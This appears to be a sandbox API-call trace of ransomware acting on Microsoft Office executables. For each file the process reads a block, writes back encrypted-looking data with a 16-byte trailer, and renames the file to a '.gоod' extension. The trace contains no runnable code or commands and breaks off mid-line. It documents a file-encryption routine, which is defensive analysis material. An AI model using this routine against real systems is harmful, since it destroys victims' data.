(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0152.024] GetFileType (hFile=0x650) returned 0x1 [0152.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0152.025] GetFileType (hFile=0x650) returned 0x1 [0152.025] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x66250 [0152.025] WriteFile (in: hFile=0x650, lpBuffer=0x39853e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x39853e8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0152.489] CloseHandle (hObject=0x650) returned 1 [0152.489] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", lpFilePart=0x0) returned 0x39 [0153.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0153.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0153.044] GetFileType (hFile=0x650) returned 0x1 [0153.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0153.044] GetFileType (hFile=0x650) returned 0x1 [0153.062] ReadFile (in: hFile=0x650, lpBuffer=0x3842250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3842250*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0153.090] CloseHandle (hObject=0x650) returned 1 [0153.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", lpFilePart=0x0) returned 0x39 [0153.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0153.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0153.090] GetFileType (hFile=0x650) returned 0x1 [0153.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0153.090] GetFileType (hFile=0x650) returned 0x1 [0153.090] WriteFile (in: hFile=0x650, lpBuffer=0x37edb00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x37edb00*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0153.090] CloseHandle (hObject=0x650) returned 1 [0153.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", lpFilePart=0x0) returned 0x39 [0153.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe.gоod", lpFilePart=0x0) returned 0x3e [0153.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0153.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1be16917, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x57759ef8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x66260)) returned 1 [0153.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0153.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe.gоod")) returned 1 [0153.092] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", lpFilePart=0x0) returned 0x3b [0153.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0153.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosrec.exe"), fInfoLevelId=0x0, lpFileInformation=0x38bf6b0 | out: lpFileInformation=0x38bf6b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6081126, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380c8)) returned 1 [0153.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0153.092] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", lpFilePart=0x0) returned 0x3b [0153.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0153.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosrec.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0153.092] GetFileType (hFile=0x650) returned 0x1 [0153.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0153.092] GetFileType (hFile=0x650) returned 0x1 [0153.092] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0153.093] ReadFile (in: hFile=0x650, lpBuffer=0x38bfa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x38bfa88*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0153.094] CloseHandle (hObject=0x650) returned 1 [0153.094] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", lpFilePart=0x0) returned 0x3b [0153.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0153.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosrec.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0153.094] GetFileType (hFile=0x650) returned 0x1 [0153.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0153.095] GetFileType (hFile=0x650) returned 0x1 [0153.095] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x380c8 [0153.095] WriteFile (in: hFile=0x650, lpBuffer=0x38c0d00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x38c0d00*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0153.426] CloseHandle (hObject=0x650) returned 1 [0153.426] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", lpFilePart=0x0) returned 0x3b [0153.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0153.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosrec.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0153.453] GetFileType (hFile=0x650) returned 0x1 [0153.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0153.453] GetFileType (hFile=0x650) returned 0x1 [0153.453] ReadFile (in: hFile=0x650, lpBuffer=0x332a998, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x332a998*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0153.483] CloseHandle (hObject=0x650) returned 1 [0153.483] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", lpFilePart=0x0) returned 0x3b [0153.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0153.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosrec.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0153.483] GetFileType (hFile=0x650) returned 0x1 [0153.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0153.483] GetFileType (hFile=0x650) returned 0x1 [0153.484] WriteFile (in: hFile=0x650, lpBuffer=0x32eb138*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x32eb138*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0153.484] CloseHandle (hObject=0x650) returned 1 [0153.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE", lpFilePart=0x0) returned 0x3b [0153.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE.gоod", lpFilePart=0x0) returned 0x40 [0153.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0153.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosrec.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x57b138bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380d8)) returned 1 [0153.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0153.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosrec.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosrec.exe.gоod")) returned 1 [0155.184] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", lpFilePart=0x0) returned 0x3b [0155.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0155.186] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosync.exe"), fInfoLevelId=0x0, lpFileInformation=0x33ab718 | out: lpFileInformation=0x33ab718*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1de33ea, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef07151c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef3deb63, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x74860)) returned 1 [0155.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0155.217] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", lpFilePart=0x0) returned 0x3b [0155.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0155.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0155.217] GetFileType (hFile=0x61c) returned 0x1 [0155.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0155.217] GetFileType (hFile=0x61c) returned 0x1 [0155.217] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0155.217] ReadFile (in: hFile=0x61c, lpBuffer=0x342b718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x342b718*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0155.218] CloseHandle (hObject=0x61c) returned 1 [0155.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", lpFilePart=0x0) returned 0x3b [0155.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0155.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0155.219] GetFileType (hFile=0x61c) returned 0x1 [0155.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0155.219] GetFileType (hFile=0x61c) returned 0x1 [0155.219] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x74860 [0155.219] WriteFile (in: hFile=0x61c, lpBuffer=0x342c990*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x342c990*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0155.220] CloseHandle (hObject=0x61c) returned 1 [0155.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", lpFilePart=0x0) returned 0x3b [0155.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0155.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0155.221] GetFileType (hFile=0x61c) returned 0x1 [0155.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0155.221] GetFileType (hFile=0x61c) returned 0x1 [0155.221] ReadFile (in: hFile=0x61c, lpBuffer=0x342ec60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x342ec60*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0155.247] CloseHandle (hObject=0x61c) returned 1 [0155.247] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", lpFilePart=0x0) returned 0x3b [0155.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0155.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0155.248] GetFileType (hFile=0x61c) returned 0x1 [0155.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0155.248] GetFileType (hFile=0x61c) returned 0x1 [0155.248] WriteFile (in: hFile=0x61c, lpBuffer=0x342d9d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x342d9d8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0155.248] CloseHandle (hObject=0x61c) returned 1 [0155.248] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE", lpFilePart=0x0) returned 0x3b [0155.248] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE.gоod", lpFilePart=0x0) returned 0x40 [0155.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0155.248] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosync.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1de33ea, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef07151c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x58bef616, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x74870)) returned 1 [0155.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0155.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosync.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msosync.exe.gоod")) returned 1 [0155.249] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe", lpFilePart=0x0) returned 0x39 [0155.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0155.249] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msotd.exe"), fInfoLevelId=0x0, lpFileInformation=0x34ac0d0 | out: lpFileInformation=0x34ac0d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed388c20, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed388c20, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xed5eb1ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xac58)) returned 1 [0155.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0155.249] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe", lpFilePart=0x0) returned 0x39 [0155.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0155.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msotd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0155.249] GetFileType (hFile=0x61c) returned 0x1 [0155.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0155.249] GetFileType (hFile=0x61c) returned 0x1 [0155.249] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0155.250] ReadFile (in: hFile=0x61c, lpBuffer=0x34ac4a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x34ac4a8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0155.772] CloseHandle (hObject=0x61c) returned 1 [0156.048] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe", lpFilePart=0x0) returned 0x39 [0156.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msotd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.049] GetFileType (hFile=0x650) returned 0x1 [0156.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.051] GetFileType (hFile=0x650) returned 0x1 [0156.051] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xac58 [0156.066] WriteFile (in: hFile=0x650, lpBuffer=0x34d1c88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x34d1c88*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0156.067] CloseHandle (hObject=0x650) returned 1 [0156.067] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe", lpFilePart=0x0) returned 0x39 [0156.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msotd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.067] GetFileType (hFile=0x650) returned 0x1 [0156.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.067] GetFileType (hFile=0x650) returned 0x1 [0156.067] ReadFile (in: hFile=0x650, lpBuffer=0x34d3f28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d3f28*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0156.137] CloseHandle (hObject=0x650) returned 1 [0156.137] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 